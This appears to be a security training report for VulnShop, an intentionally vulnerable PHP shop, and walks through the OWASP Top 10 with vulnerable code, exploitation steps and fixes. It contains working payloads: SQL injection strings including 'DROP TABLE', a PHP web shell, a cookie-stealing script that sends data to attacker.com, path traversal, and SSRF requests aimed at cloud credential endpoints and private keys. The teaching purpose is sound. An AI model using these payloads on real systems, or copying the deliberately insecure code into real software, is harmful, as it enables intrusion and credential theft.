VulnShop - OWASP Top 10 Training Report

This document provides detailed findings of vulnerabilities based on OWASP Top 10, discovered in the VulnShop project.

info#

repo: https://github.com/Q2004D/Vulnshop-OWASP-Top-10

Authors: Qasim & Abed

A0#

VulnShop - OWASP Top 10 Vulnerability Documentation

Overview
VulnShop is an intentionally vulnerable web application designed for security training. This documentation details each OWASP Top 10 vulnerability implemented, how to exploit them, and proper remediation techniques.

##

A01

: Broken Access Control

Description
Access control enforces policy such that users cannot act outside of their intended permissions. When these controls fail, users can access unauthorized functionality or data.

Implementation in VulnShop

1. Admin Panel Access Control Bypass
Location: `admin.php`
Issue: Any logged-in user can access the admin dashboard

```
php
// VULNERABILITY: Only checks if user is logged in, not their role
if (!isLoggedIn()) {
    header('Location: login.php');
    exit;
}
// Missing: Role-based access control check
```

2. Self-Role Assignment
Location: `register.php`
Issue: Users can assign themselves admin privileges during registration

```
php
<select id="role" name="role">
    <option value="user">Regular User</option>
    <option value="admin">Administrator</option> <!-- Users can select admin -
->
</select>
```

Exploitation Steps

1. **Admin Panel Bypass:**
   - Register a regular user account
   - Login with the user account
   - Navigate directly to `/admin.php`
   - Access admin functionality without proper authorization

2. **Self-Privilege Escalation:**
   - Go to registration page
   - Fill out form and select "Administrator" role
   - Create account with admin privileges

Impact
- Unauthorized access to sensitive administrative functions
- Data manipulation and system configuration changes
- Complete system compromise

Remediation

```
php
// Proper role-based access control
function requireAdmin() {
    if (!isLoggedIn() || getCurrentUser()['role'] !== 'admin') {
        http_response_code(403);
        die('Access denied: Admin privileges required');
    }
}
```

```
// Remove role selection from registration
// Assign default 'user' role and require admin to upgrade
$role = 'user'; // Fixed role assignment
```

##

A02

: Cryptographic Failures

Description
This vulnerability relates to failures related to cryptography (or lack thereof), which often leads to exposure of sensitive data.

Implementation in VulnShop

1. Plain Text Password Storage
Location: `register.php`, `admin.php`
Issue: Passwords stored without any hashing or encryption

```
sql
-- Database stores passwords in plain text
CREATE TABLE users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(50) NOT NULL UNIQUE,
    password VARCHAR(255) NOT NULL, -- Plain text storage
    role ENUM('user', 'admin') DEFAULT 'user'
);
```

2. Password Display in Admin Panel
Location: `admin.php`
Issue: Admin panel displays all user passwords in plain text

```
php
<td><?php
    // VULNERABILITY: Displaying plain text passwords
    echo $user_row['password'];
?></td>
```

Exploitation Steps

1. **Password Exposure:**
  - Gain access to admin panel (see

A01

)
  - View user management section
  - All passwords are visible in plain text

2. **Database Compromise:**
  - If database is compromised, all passwords are immediately usable
  - No protection against credential stuffing attacks

Impact
- Complete credential compromise
- Account takeover of all users
- Lateral movement using same passwords on other systems

Remediation

```
php
// Proper password hashing
$password = password_hash($_POST['password'], PASSWORD_DEFAULT);

// For login verification
if (password_verify($_POST['password'], $stored_hash)) {
    // Login successful
}

// Never display passwords in admin interfaces
// Show only username, email, last login, etc.
```

##

A03

: Injection

Description
Injection flaws occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands.

Implementation in VulnShop

1. SQL Injection in Login

Location: `login.php`
Issue: Direct string concatenation in SQL query

```
php
// VULNERABILITY: SQL Injection via string concatenation
$query = "SELECT * FROM users WHERE username = '$username' AND password =
'$password'";
```

2. SQL Injection in Comments
Location: `product.php`
Issue: User input directly inserted into SQL

```
php
// VULNERABILITY: SQL Injection in comment insertion
$comment_query = "INSERT INTO comments (product_id, user_id, comment) VALUES
($product_id, $user_id, '$comment')";
```

3. SQL Injection in Admin Functions
Location: `admin.php`
Issue: Admin forms vulnerable to SQL injection

```
php
// VULNERABILITY: SQL Injection via admin form
$query = "INSERT INTO users (username, password, role) VALUES ('$username',
'$password', '$role')";
```

Exploitation Steps

Login Bypass:
1. Go to login page
2. Enter username: `admin'--`
3. Enter any password
4. Query becomes: `SELECT * FROM users WHERE username = 'admin'-- AND password =
'anything'`
5. Successfully login as admin

Data Extraction:
1. In login form, username: `' UNION SELECT 1,username,password,role,5 FROM users--`
2. Extract all usernames and passwords

Database Manipulation:
1. In comment field: `test'); DROP TABLE products;--`
2. Potentially destroy database tables

Impact
- Authentication bypass

- Data theft and manipulation
- Database destruction
- Privilege escalation

Remediation

```
php
// Use prepared statements
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password =
?");
$stmt->bind_param("ss", $username, $password_hash);
$stmt->execute();
$result = $stmt->get_result();

// Input validation and sanitization
$username = filter_var($_POST['username'], FILTER_SANITIZE_STRING);
```

##

A04

: Insecure Design

Description
Insecure design is a broad category representing different weaknesses, expressed as "missing or ineffective control design."

Implementation in VulnShop

1. Negative Quantity Purchase
Location: `cart.php`, `product.php`
Issue: System allows negative quantities in cart

```
php
// VULNERABILITY: No validation on quantity
<input type="number" name="quantity" value="1" min="-100" max="1000">

// VULNERABILITY: No stock validation
if (isset($_SESSION['cart'][$product_id])) {
    $_SESSION['cart'][$product_id] += $quantity; // Can be negative
}
```

2. No Stock Validation
Location: `cart.php`
Issue: Users can purchase more items than available

```
php
// VULNERABILITY: No check against available stock
$_SESSION['cart'][$product_id] = $quantity;
// Missing: Check if $quantity <= $product['stock']
```

3. Insecure Checkout Process
Location: `cart.php`
Issue: No payment processing or inventory management

```
php
// VULNERABILITY: Fake checkout with no actual processing
if (isset($_POST['checkout'])) {
    $_SESSION['cart'] = array(); // Just clear cart
    $message = "Order placed successfully! (No actual processing done)";
}
```

Exploitation Steps

1. **Negative Quantity Exploit:**
   - Add item to cart with quantity -10
   - Checkout process may credit money instead of charging
   - Manipulate inventory levels

2. **Stock Manipulation:**
   - Add 1000 items to cart when only 10 in stock
   - System doesn't validate against available inventory
   - Overselling products

3. **Free Purchases:**
   - Exploit checkout logic to bypass payment
   - Clear cart without processing payment

Impact
- Financial loss through negative pricing
- Inventory management failures
- Business logic bypass
- Fraudulent transactions

Remediation

```
php
// Proper quantity validation
```

```
if ($quantity <= 0 || $quantity > 100) {
    throw new Exception("Invalid quantity");
}

// Stock validation
$stmt = $conn->prepare("SELECT stock FROM products WHERE id = ?");
$stmt->bind_param("i", $product_id);
$stmt->execute();
$product = $stmt->get_result()->fetch_assoc();

if ($quantity > $product['stock']) {
    throw new Exception("Insufficient stock");
}

// Proper transaction handling with payment processing
// Implement real payment gateway integration
// Update inventory after successful payment
```

##

A05

: Security Misconfiguration

Description
Security misconfiguration is the most commonly seen issue. This is commonly a result of insecure default configurations, incomplete or ad hoc configurations, open cloud storage, misconfigured HTTP headers, and verbose error messages containing sensitive information.

Implementation in VulnShop

1. Exposed PHP Info
Location: `phpinfo.php`
Issue: Unrestricted access to system information

```
php
// VULNERABILITY: No authentication required
phpinfo(); // Exposes complete server configuration
```

2. Verbose Error Messages
Location: `config.php`
Issue: Development settings in production

```
php
// VULNERABILITY: Display all errors in production
```

```
error_reporting(E_ALL);
ini_set('display_errors', 1);

// VULNERABILITY: Exposing database connection errors
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}
```

3. Debug Information Exposure
Location: `login.php`, `product.php`, `cart.php`
Issue: Debug parameters expose sensitive information

```
php
// VULNERABILITY: Debug mode accessible via GET parameter
if (isset($_GET['debug'])) {
    echo "<pre>Debug Query: $query</pre>";
    print_r($_SESSION);
}
```

4. Hardcoded Credentials
Location: `config.php`
Issue: Database credentials in source code

```
php
// VULNERABILITY: Hardcoded database credentials
$db_username = 'root';
$db_password = '';
```

Exploitation Steps

1. **Information Gathering:**
   - Access `/phpinfo.php` for complete server info
   - Use debug parameters: `?debug=1`
   - Read error messages for system paths and configuration

2. **Credential Discovery:**
   - Source code review reveals database credentials
   - Error messages may expose file paths and usernames

Impact
- Information disclosure
- System fingerprinting
- Credential exposure
- Attack surface identification

Remediation

```
php
// Remove phpinfo in production
// Configure proper error handling
error_reporting(0);
ini_set('display_errors', 0);
ini_set('log_errors', 1);

// Use environment variables for credentials
$db_password = getenv('DB_PASSWORD');

// Remove debug functionality in production
// Implement proper logging instead of direct output
```

##

A06

: Vulnerable and Outdated Components

Description
Components with known vulnerabilities may undermine application defenses and enable various attacks and impacts.

Implementation in VulnShop

1. Outdated jQuery Version
Location: All HTML pages
Issue: Using jQuery 1.7.2 (released 2012)

```
html
<!-- VULNERABILITY: Very old jQuery version with known security issues -->
<script
src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></scrip
t>
```

2. No Dependency Management
Issue: No tracking or updating of third-party components

Exploitation Steps

1. **Client-Side Attacks:**
   - jQuery 1.7.2 has known XSS vulnerabilities
   - DOM manipulation attacks possible
   - CSRF bypass techniques

2. **Component Enumeration:**
  - Check `/robots.txt`, view source for version numbers
  - Use tools like `retire.js` to identify vulnerable components

Impact
- Client-side code execution
- Cross-site scripting
- Security control bypass

Remediation

```
html
<!-- Use current stable versions -->
<script
src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></scrip
t>

<!-- Implement Subresource Integrity -->
<script src="https://code.jquery.com/jquery-3.6.0.min.js"
        integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4="
        crossorigin="anonymous"></script>
```

##

A07

: Identification and Authentication Failures

Description
Confirmation of the user's identity, authentication, and session management is critical to protect against authentication-related attacks.

Implementation in VulnShop

1. No Account Lockout
Location: `login.php`
Issue: Unlimited login attempts allowed

```
php
// VULNERABILITY: No attempt limiting or lockout mechanism
if ($result && $result->num_rows > 0) {
    // Login successful
} else {
```

```
    $error = "Invalid username or password";
    // No tracking of failed attempts
}
```

2. Session Fixation
Location: `login.php`, `config.php`
Issue: No session regeneration on login

```
php
// VULNERABILITY: Session fixation - no regeneration
session_start();
$_SESSION['user_id'] = $user['id'];
// Missing: session_regenerate_id(true);
```

3. Weak Password Policy
Location: `register.php`
Issue: No password complexity requirements

```
php
// VULNERABILITY: No password strength validation
<input type="password" id="password" name="password" required>
// Missing: Length, complexity, common password checks
```

4. Information Disclosure in Login
Location: `login.php`
Issue: Different error messages reveal user existence

```
php
// VULNERABILITY: Reveals whether user exists
$error = "Invalid username or password. User may not exist.";
```

Exploitation Steps

1. **Brute Force Attack:**
   - Use tools like Hydra or Burp Suite
   - No rate limiting or account lockout
   - Enumerate valid usernames through error messages

2. **Session Fixation:**
   - Attacker sets session ID before victim login
   - Victim authenticates with known session
   - Attacker hijacks authenticated session

3. **Weak Password Attack:**
   - Dictionary attacks against weak passwords
   - Common password lists (password123, admin, etc.)

Impact
- Account compromise
- Session hijacking
- Credential stuffing attacks
- User enumeration

Remediation

```
php
// Account lockout mechanism
if ($failed_attempts >= 5) {
    $lockout_time = time() + (15 * 60); // 15 minute lockout
    // Store lockout in database or cache
}

// Session regeneration
session_regenerate_id(true);

// Strong password policy
if (strlen($password) < 8 ||
    !preg_match('/[A-Z]/', $password) ||
    !preg_match('/[0-9]/', $password)) {
    $error = "Password must be at least 8 characters with uppercase and
numbers";
}

// Generic error messages
$error = "Invalid credentials";
```

##

A08

: Software and Data Integrity Failures

Description
Software and data integrity failures relate to code and infrastructure that does not protect against integrity violations.

Implementation in VulnShop

1. Unrestricted File Upload
Location: `upload.php`
Issue: No file type validation or size limits

```
php
// VULNERABILITY: No file validation whatsoever
$filename = $_FILES['files']['name'][$key];
$destination = $upload_dir . $filename;

if (move_uploaded_file($tmp_name, $destination)) {
    // File uploaded without any checks
}
```

2. Executable File Upload
Location: `upload.php`
Issue: PHP files can be uploaded and executed

```
php
// VULNERABILITY: PHP files are executable after upload
<a href="<?php echo $file['path']; ?>" target="_blank">
    <?php echo ($ext == 'php') ? 'Execute' : 'View'; ?>
</a>
```

3. No File Integrity Checks
Issue: No validation of file contents or checksums

Exploitation Steps

1. **Web Shell Upload:**

```
php
   // Create shell.php file with:
   <?php system($_GET['cmd']); ?>
```

- Upload via file upload form
  - Access: `uploads/shell.php?cmd=whoami`
  - Execute arbitrary system commands

2. **Malicious Script Upload:**

```
html
   <!-- Upload malicious HTML/JS file -->
   <script>
   // Steal cookies, perform actions as logged-in user
   document.location='http://attacker.com/steal.php?cookie='+document.cookie;
   </script>
```

3. **File Overwrite Attack:**
  - Upload file with path traversal: `../../../etc/passwd`
  - Overwrite system files or application files

Impact

- Remote code execution
- Complete server compromise
- Data theft and manipulation
- Website defacement

Remediation

```
php
// File type whitelist
$allowed_types = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'txt'];
$file_ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

if (!in_array($file_ext, $allowed_types)) {
    throw new Exception("File type not allowed");
}

// File size limit
if ($file_size > 5 * 1024 * 1024) { // 5MB limit
    throw new Exception("File too large");
}

// Rename uploaded files
$safe_filename = uniqid() . '.' . $file_ext;

// Store outside web root or disable execution
// .htaccess: php_flag engine off
```

##

A09

: Security Logging and Monitoring Failures

Description
Logging and monitoring failures allow attackers to maintain persistence, pivot to more systems, and tamper with data without detection.

Implementation in VulnShop

1. No Login Attempt Logging
Location: `login.php`
Issue: Failed logins not recorded

```
php
// VULNERABILITY: No logging of authentication attempts
if ($result && $result->num_rows > 0) {
    // Success - not logged
} else {
    // Failure - not logged
    $error = "Invalid username or password";
}
```

2. No Admin Action Logging
Location: `admin.php`
Issue: Administrative actions not audited

```
php
// VULNERABILITY: No audit trail for admin actions
if ($conn->query($query)) {
    $message = "User added successfully!";
    // No logging of who added what when
}
```

3. No File Upload Logging
Location: `upload.php`
Issue: File uploads not monitored

```
php
// VULNERABILITY: No logging of uploaded files
if (move_uploaded_file($tmp_name, $destination)) {
    // No record of who uploaded what
}
```

4. No Error Monitoring
Issue: Security events not centrally monitored

Exploitation Steps

1. **Silent Attacks:**
   - Brute force attacks go undetected
   - Malicious file uploads not noticed
   - Data manipulation untracked

2. **Persistence:**
   - Attackers maintain access without detection
   - No alerting on suspicious activities

Impact
- Undetected breaches
- Extended compromise duration

- Inability to perform forensic analysis
- Compliance violations

Remediation

```
php
// Security event logging
function logSecurityEvent($event_type, $details) {
    $log_entry = date('Y-m-d H:i:s') . " - " . $event_type . " - " . $details
. PHP_EOL;
    file_put_contents('/var/log/security.log', $log_entry, FILE_APPEND);
}

// Login attempt logging
if ($login_failed) {
    logSecurityEvent('LOGIN_FAILED', "User: $username, IP: " .
$_SERVER['REMOTE_ADDR']);
}

// Admin action logging
logSecurityEvent('USER_CREATED', "Admin: {$current_user['username']}, Created:
$new_username");

// File upload logging
logSecurityEvent('FILE_UPLOADED', "User: {$user['username']}, File: $filename,
Size: $size");

// Implement centralized logging (ELK stack, Splunk, etc.)
// Set up alerting for suspicious patterns
```

A10: Server-Side Request Forgery (SSRF)

Description
SSRF flaws occur whenever a web application is fetching a remote resource without validating the user-supplied URL.

Implementation in VulnShop

1. Unrestricted URL Fetching
Location: `admin.php`
Issue: Admin can fetch any URL without validation

```
php
// VULNERABILITY: No URL validation, allows SSRF
if (isset($_POST['fetch_url'])) {
```

```
    $url = $_POST['url'];
    $content = @file_get_contents($url); // Fetches ANY URL

    if ($content !== false) {
        $fetched_content = $content; // Displays content
    }
}
```

Exploitation Steps

1. Internal Network Scanning:

```
# Scan internal network
http://127.0.0.1:22    # Check SSH
http://127.0.0.1:3306  # Check MySQL
http://192.168.1.1     # Router admin
http://169.254.169.254/metadata/  # Cloud metadata
```

2. Local File Access:

```
file:///etc/passwd     # Read system files
file:///var/log/apache2/access.log  # Read logs
file:///home/user/.ssh/id_rsa  # Private keys
```

3. Internal Service Access:

```
http://localhost/admin.php  # Access admin interfaces
http://internal-api:8080/users  # Internal APIs
```

4. Cloud Metadata Exploitation:

```
# AWS metadata
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Google Cloud
http://metadata.google.internal/computeMetadata/v1/

# Azure
http://169.254.169.254/metadata/identity/oauth2/token
```

Impact
- Internal network reconnaissance
- Access to cloud metadata and credentials
- Local file system access
- Internal service exploitation
- Sensitive data disclosure

Remediation

```
php
// URL validation and filtering
function validateUrl($url) {
    // Parse URL
    $parsed = parse_url($url);

    // Only allow HTTP/HTTPS
    if (!in_array($parsed['scheme'], ['http', 'https'])) {
        throw new Exception("Only HTTP/HTTPS allowed");
    }

    // Blacklist internal ranges
    $host = $parsed['host'];
    if (filter_var($host, FILTER_VALIDATE_IP)) {
        if (!filter_var($host, FILTER_VALIDATE_IP,
            FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
            throw new Exception("Internal IP addresses not allowed");
        }
    }

    // DNS resolution check
    $ip = gethostbyname($host);
    if (!filter_var($ip, FILTER_VALIDATE_IP,
        FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
        throw new Exception("Host resolves to internal IP");
    }

    return true;
}

// Use whitelist approach
$allowed_domains = ['api.example.com', 'webhook.service.com'];
$parsed_url = parse_url($url);
if (!in_array($parsed_url['host'], $allowed_domains)) {
    throw new Exception("Domain not in whitelist");
}

// Use cURL with restrictions
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_MAXREDIRS, 3);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
```

Testing and Exploitation Tools

Recommended Tools:
1. **Burp Suite** - Web application security testing
2. **OWASP ZAP** - Free security scanner
3. **SQLmap** - SQL injection testing
4. **Nikto** - Web server scanner
5. **Dirb/Dirbuster** - Directory enumeration
6. **Hydra** - Login brute forcer

Testing Methodology:
1. **Reconnaissance** - Gather information about the application
2. **Vulnerability Scanning** - Automated tools to find issues
3. **Manual Testing** - Test each vulnerability type manually
4. **Exploitation** - Prove impact of vulnerabilities
5. **Documentation** - Record findings and impact

Conclusion

VulnShop demonstrates all OWASP Top 10 vulnerabilities in a realistic web application context. Each vulnerability has been implemented with clear markers in the code and detailed exploitation paths. This application serves as an excellent training ground for understanding common web security issues and their remediation.